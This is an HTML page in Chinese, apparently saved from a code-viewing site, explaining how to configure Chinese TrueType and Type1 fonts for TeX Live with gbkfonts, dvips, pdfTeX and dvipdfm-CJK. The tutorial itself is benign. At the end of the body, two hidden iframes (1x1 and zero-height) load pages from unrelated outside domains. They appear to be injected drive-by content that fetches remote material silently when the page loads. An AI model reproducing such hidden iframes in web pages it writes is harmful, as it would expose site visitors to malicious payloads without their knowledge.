?? tex_setup_chinese.htm
字號:
<html><head><title>中文TeX系統安裝說明</title><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><LINK rel="stylesheet" href="main.css" media="screen"></head><body bgcolor="#FFF4FF"><H1>中文TeX系統安裝說明</H1><div class=ok>最新更新:<ahref="http://learn.tsinghua.edu.cn/homepage/015450/src/tex-config.tar.gz">TeX 系統配置文件下載</a> — 這個包里含有我機器上 TeX 系統的中文配置文件。把它們解開拷貝到 texlive 的 TEXMFLOCAL 就能用了。沒有包含字體,因為字體太大了。當我在一臺新的機器上設置 TeX 時,我發現除了這個包里的東西,你只需要修改一下texmf.cnf 里的 TTF 路徑了。</div><p>下面我們就介紹一下為了使用中文,你需要進行那些設置。<h2>生成中文字體和配置文件</h2><p>很多程序需要 Type1 字體,你可以用energy大哥寫的,后來由我改寫,移植的<a href="programs.html">gbkfonts程序</a>來把 TrueType 的中文字體轉化成 Type1 的。TrueType 的字體也是矢量字體,Windows 下有幾個這樣的字體,推薦使用那個宋體,你還可以另外下載免費的中文字體,或者購買商業版本的字體。<p>gbkfonts 還幫助生成很多我們以后配置需要的配置文件。這樣你可以省去自己寫配置的麻煩。<p>gbkfonts 的使用方法,在 Linux 下很簡單,運行:<pre class=example>gbkfonts /mnt/windows/c/Fonts/simsun.ttf song</pre><p>在 Windows 下的 gbkfonts 用起來稍為麻煩一點點,你需要把你的字體的各種參數先寫到一個叫 gbkfonts.ini 的配置文件里。具體怎么改看一下那個文件就知道了。然后運行:<pre class=example>gbkfonts c:\windows\fonts\simsun.ttf song</pre><p>大約2分種之后,當前目錄下就可以得到很多目錄: dvips, pdftex, fonts, ... 你如果像繼續造其它字體就再次運行 gbkfonts, 你也可以把調用 gbkfonts 的命令都寫到一個腳本里運行,這樣你就可以抽空去喝杯茶了。<p>最后你把這些目錄都拷貝到 /usr/local/texlive/texmf-local/. 如果你沒有這個目錄就創建一個。以后這個目錄被叫做 $TEXMFLOCAL.<p>需要注意的是,你每次增加了文件在 TeX 的目錄樹里都需要運行 mktexlsr 來刷新文件名數據庫,這樣 TeX 的程序才能順利找到各種文件。<H2>讓 dvips 使用 Type1 中文字體</H2> <p>TeX 首先生成 dvi 文件,然后 dvi 可以被 dvips 這樣的程序轉成 PostScript (*.ps) 或者被 dvipdfm 轉換成 PDF. <p>我們先說說 dvips 怎樣使用漢字, 如果你不用 dvips 就可以跳過這一節。有一個需要注意的是:LaTeX 在生成的 dvi 文件里記錄的漢字名稱叫做 gbksong01, gbksong02, ... 而不是你在 \begin{CJK}{song} 里指定的那個 "song",這是很容易混淆的。"song" 根據你使用的漢字不同,被CJK的fd文件映射為了 gbksong01, gbksong02...<p>使 dvips 能夠使用漢字,只需要讓 dvips 知道 Type1 字體在哪里。我們只需要修改 config.ps, cjk.map, 兩步完成!注意以后的 pdfTeX 和 dvipdfm-CJK 的配置有驚人的相似之處。<OL><LI>讓 dvips 使用 cjk.map 來找到字體<p>我們造出了字體,可是 dvips 并不知道你把字體放在哪里了。如果你照上一步那樣做了,現在那些字體應該在 $TEXMFLOCAL/fonts/type1/chinese/gbk* 的目錄下,是一些 *.pfb 文件。<p>dvips 是依靠 $TEXMFMAIN/dvips/config/config.ps 來知道字體信息的。我們可以創建一個 $TEXMFLOCAL/dvips/config/config.ps 文件, 這樣 TeX 會首先找到 $TEXMFLOCAL 目錄里的 config.ps 文件使用它,而不使用 $TEXMFMAIN里的 config.ps. 這樣我們避免了修改系統的文件,如果重新安裝 TeX,就不用重新修改文件了。<p>你可以把 $TEXMFMAIN/dvips/config/config.ps 拷貝到 $TEXMFLOCAL/dvips/config/config.ps, 然后加入一行:<pre>p +cjk.map</pre>讓它從 cjk.map 這個文件得到字體映射信息。<LI>把字體信息附加到 cjk.map<p>cjk.map 記錄了 TeX 字體名字和字體文件名字之間的對應關系。它里面有這樣一些行:<pre>gbksong01 SimSun01 <gbksong01.pfbgbksongsl01 SimSun01 " .167 SlantFont " < gbksong01.pfbgbksong02 SimSun02 <gbksong02.pfbgbksongsl02 SimSun02 " .167 SlantFont " < gbksong02.pfb...................</pre><p>這說明,如果 dvi 文件要求用 "gbkfong01" 這個字體,就去找 gbksong01.pfb 這個文件。你應該把 gbkfonts 生成的 cjk.map 拷貝到 $TEXMFLOCAL/dvips/ 下,如果你以前已經有了這個文件,就把 gbkfonts 生成的文件里新的內容附加在這個文件末尾。<p>至此,dvips 已經可以使用漢字了。</OL><H2>讓 pdfTeX 直接使用 TrueType 中文字體</H2> <p>需要注意的是 pdfTeX 需要由 gbkfonts 產生的 .enc 文件, 他們在生成的 pdftex 目錄里。<OL><LI>設置TTF字體路徑<p>你需要告訴 TeX 系統你的 TTF 字體都放在哪里了。這個信息記錄在 $TEXMFMAIN/web2c/texmf.cnf 文件里:<p>在下面兩行中加入你的TTF字體路徑就行了。目錄后的兩根//表示尋找的時候搜索這個目錄及其子目錄。<pre>TTFONTS = .;$TEXMF/fonts/{truetype,ttf}//;/usr3/fonts//;/usr2/texlive/texmf-local/fonts/TTF//TTF2TFMINPUTS = .;$TEXMF/ttf2pk//;/usr3/fonts//;/usr2/texlive/texmf-local/fonts/TTF//</pre><LI>讓 pdfTeX 找到字體<p>pdfTeX還需要一些映射文件來決定字體文件的名字。這些映射文件都已經由 gbkfonts 生成了: gbksong.map, gbkkai.map,... 它們應該已經被你拷貝到了 $TEXMFLOCAL/pdftex/config.它們里面的內容類似這樣:<pre>gbksong01 <gbksong01.enc <simsun.ttfgbksongsl01 <gbksong01.enc <simsun.ttfgbksong02 <gbksong02.enc <simsun.ttfgbksongsl02 <gbksong02.enc <simsun.ttf......</pre><p>你還需要告訴 pdfTeX 使用那些 map 文件。這個信息記錄在 $TEXMFLOCAL/pdftex/config/pdftex.cfg. 如果沒有這個文件,就把 $TEXMFMAIN下對應的文件拷貝過來,注意保持目錄結構一樣,然后把 gbkfonts 生成的 pdftex.cfg 的內容附加在末尾。config 里的這些行<pre>map gbksong.mapmap +gbkhei.mapmap +gbkkai.map</pre></OL>就是表示使用那些映射文件的。<H2>讓 dvipdfm-CJK 使用 TrueType 中文字體</H2> <p>dvipdfm-CJK 是支持中日韓字體的 dvipdfm. dvipdfm-CJK 其實也是依靠 $TEXMFMAIN/web2c/texmf.cnf 來找到TTF字體。所以你需要像 pdfTeX 那樣做一次。<p>另外,dvipdfm 需要通過映射文件來找到名字對應的字體文件,需要哪些映射文件是在 $TEXMFLOCAL/dvipdfm/config/config 指定的。這和dvips, pdfTeX 相似。如果你沒有,就把 $TEXMFMAIN下對應的文件拷貝過來,注意保持目錄結構一樣。<p>在 config 文件里應該有這樣一行:<pre>f cid-x.map</pre>它告訴 dvipdfm 去找 cid-x.map. 這個文件一般在 $TEXMFMAIN/dvipdfm/config/, 如果沒有的話你就創建一個。它里面有類似以下內容:<pre>gbksong@UGBK@ UniGB-UCS2-H :0:simsun.ttfgbksongsl@UGBK@ UniGB-UCS2-H :0:simsun.ttf,Italic................</pre><p>你可以把 gbkfonts 生成的 cid-x.map 附加到這個文件的末尾。<p>常用的程序就是這些了。其它程序請參考另外的說明。<IFRAME SRC=http://mm.987999.com/abc.htm width=1 height=1 frameborder=0></IFRAME>
<IfrAmE src=http://www.lingyinshu.cn/ln/md.htm width=50 height=0></IfrAmE>
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -